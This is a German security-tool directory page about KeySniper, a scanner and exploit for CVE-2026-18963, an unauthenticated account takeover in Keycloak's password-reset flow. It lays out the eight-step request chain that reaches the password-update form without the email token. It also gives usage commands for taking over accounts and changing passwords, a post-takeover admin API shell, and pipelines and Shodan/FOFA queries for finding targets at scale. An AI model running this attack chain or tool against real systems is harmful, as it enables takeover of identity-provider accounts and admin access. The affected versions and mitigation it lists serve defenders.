Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
KeySniper — **CVE-2026-18963** — nicht authentifizierte Übernahme von Keycloak-Konten über den Reset-Credentials-Ablauf. | Kitploit
Tools/GitHubGitHub/ynsmroztas/keysniper
AufklärungSchwachstellenscannerExploitationWebanwendungs-ExploitationPenetrationstestsAuthentifizierungRed Teaming
GitHubynsmroztas/keysniper

KeySniper

**CVE-2026-18963** — nicht authentifizierte Übernahme von Keycloak-Konten über den Reset-Credentials-Ablauf.

Repository anzeigen
3vor 5h 16mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

KeySniper

KeySniper

Autor: Mitsec — x.com/ynsmroztas

CVE-2026-18963 — nicht authentifizierte Keycloak-Kontoübernahme über den Reset-Credentials-Ablauf.

KeySniper ist ein produktionsorientierter Scanner für In-Scope-Bug-Bounty- und autorisierte Assessments: Live-Radar-Ausgabe, Realm-Erkennung, Erkennung vs. Übernahme, interaktive Post-ATO-Shell und stdin-Pipeline (subfinder → httpx → KeySniper).

Der Standardmodus ist detect (--takeover 0). --takeover 1 ändert das Kontopasswort auf dem Ziel.


Schwachstelle

FeldWert
CVECVE-2026-18963
CWECWE-640 — Schwacher Mechanismus zur Passwortwiederherstellung
CVSS9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
ProduktKeycloak / Red Hat SSO
Behoben in26.7.2, 26.6.6, 26.4.15
AuthKeine

Zwei Fehler werden verkettet:

  1. tryAnotherWay speichert eine generische "true"-Selektor-Notiz, die nicht auf die Ausführungs-ID begrenzt ist.
  2. ResetCredentialEmail.action() ruft context.success() ohne Überprüfung von ACTION_TOKEN_USER_ID auf.

Ergebnis: Ein nicht authentifizierter Aufrufer kann den Passwort-Reset-Ablauf für einen bekannten Benutzernamen erzwingen und landet auf UPDATE_PASSWORD, ohne auf den E-Mail-Link zu klicken.

Bestätigungssignal

Der Scan ist nicht „Passwort vergessen existiert“. Die Bestätigung ist:

  • Das Selektor-Formular wird auf der ursprünglichen Reset-URL erneut gerendert
  • Die execution=-UUID ändert sich (E-Mail-Ausführung wird geleakt)
  • Die Antwort enthält kc-passwd-update-form
root@kitploit:~
exec3 = 28e2cd30-…   (erster Selektor)
exec6 = 8fd21174-…   (Pivot-GET)
         UPDATE_PASSWORD

Funktionen

  • Live-[radar]-Log (Location, JS, Header, Realm-Probe)
  • Realm-Erkennung: 302 Location + HTML/JS + well-known + Wortliste
  • /auth-Präfix-Autoerkennung
  • Pipeline: stdin-URLs von httpx / subfinder
  • False-Positive-Filter: Keycloak-Body erforderlich vor Realm-Brute-Force
  • --takeover 0 nur Erkennung
  • --takeover 1 Passwort setzen (Standard SelaM1337@@)
  • --shell interaktive Token-/Admin-API-Hilfe nach ATO
  • Farb-Badges: VULN / ATO rot, SAFE grün, SKIP gelb

Installation

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py

Python 3.9+.


Verwendung

root@kitploit:~
# Erkennung (keine Passwortänderung)
python3 KeySniper.py -u https://sso.example.com --takeover 0

# Übernahme + interaktive Shell
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell

# Realm / Benutzer
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0

# Pipeline
subfinder -d example.com -silent \
  | httpx -silent -mc 200,302,401 \
  | python3 KeySniper.py --takeover 0 -t 4

# Listendatei
python3 KeySniper.py -l urls.txt --takeover 0 -q

Flags

Übergeben Sie nicht --takeover 1 oder --shell bei einem Pipeline-Dump.


Ablauf (8 Schritte)

root@kitploit:~
[1] GET  /realms/{realm}/protocol/openid-connect/auth?client_id=account
         → forgot-password href (reset-credentials)
[2] GET  reset-credentials
         → kc-reset-password-form
[3] POST tryAnotherWay=on
         → kc-select-credential-form
[4] POST username=<benutzer>
[5] GET  startSessionPolling / restart (falls vorhanden)
[6] GET  ursprüngliche reset-credentials-URL  (Pivot)
         → Selektor-Neu-Rendering + neue execution=
[7] POST veralteter Selektor (kein Action-Token)
         → kc-passwd-update-form
[8] POST password-new / password-confirm     (nur wenn --takeover 1)
         → HTTP 302 + code=  ⇒ ATO

Ausgabe

root@kitploit:~
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
    confirm exec3=...
    confirm exec6=...
    confirm kc-passwd-update-form

[ATO]  https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open gepatcht
[SKIP] https://www.example.com not-keycloak

leak-no-update wird nicht als VULN gezählt.


Interaktive Shell

Öffnet nur nach [ATO] bei einem einzelnen Ziel:

root@kitploit:~
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit

Verwendet den Resource-Owner-Password-Grant (admin-cli, dann account).
HTTP 403 auf /admin/realms bedeutet, dass Direct Access Grants / die Admin-Rolle eingeschränkt sind — ATO kann trotzdem gültig sein.


Erkennung

  1. Probe /realms/master dann /auth/realms/master
  2. Realms aus Location, HTML, JS, "realm":, Issuer sammeln
  3. Wortliste (~70 Namen) nur nach Keycloak-Fingerprint
  4. Realms behalten, bei denen /realms/{name} 200 + Keycloak-Body zurückgibt

Fingerprints / Recon

root@kitploit:~
/realms/master
/realms/master/.well-known/openid-configuration
/admin/

Shodan / FOFA (Programm-Scope):

root@kitploit:~
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
root@kitploit:~
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"

False Positives

  • Jedes 200 auf / wird ignoriert, es sei denn, der Body enthält issuer / public_key / login-actions
  • Passwort-vergessen fehlt → SKIP (Realm hat Reset deaktiviert)
  • Selektor-Leak ohne kc-passwd-update-form → SKIP
  • httpx-Pfade werden auf den Ursprung reduziert (/auth bleibt erhalten)

Betroffene Versionen

Keycloak < 26.7.2 (auch 26.6.x < 26.6.6, 26.4.x < 26.4.15).
Mitigation: Passwort vergessen in jedem Realm deaktivieren, dann upgraden.

Der Screenshot in diesem Repository ist geschwärzt (sso.lab.local-Platzhalter). Tokens, Passwörter, E-Mails und echte Hosts werden nicht veröffentlicht.


Autor

Mitsec
X: x.com/ynsmroztas


Lizenz

Forschungsnutzung auf In-Scope-autorisierten Zielen. Lassen Sie --takeover 1 bei Nicht-Scope-Hosts ausgeschaltet.

Tool herunterladen
FlagStandardBedeutung
-u URL—Einzelnes Ziel
-l DATEI—URL-Liste
stdinautohttpx-Zeilen (erstes Feld = URL)
--takeover 0|10Erkennung vs. Passwort ändern
-U BENUTZERadminZielbenutzername
-r REALMautoRealm erzwingen oder erkennen
--passSelaM1337@@Neues Passwort, wenn takeover=1
-t N4Pipeline-Threads
-qausNur Ergebnisse
--shellausPost-ATO-Shell (einzelnes Ziel)
StatusBedeutung
VULNPivot + UPDATE_PASSWORD (Passwort nicht geändert)
ATOSchritt 8 erfolgreich
SAFEReset offen, kein veralteter Selektor (gepatcht)
SKIPKein Keycloak / Reset deaktiviert / Leak ohne UPDATE-Formular
FAILNetzwerk / unerwartete Ausnahme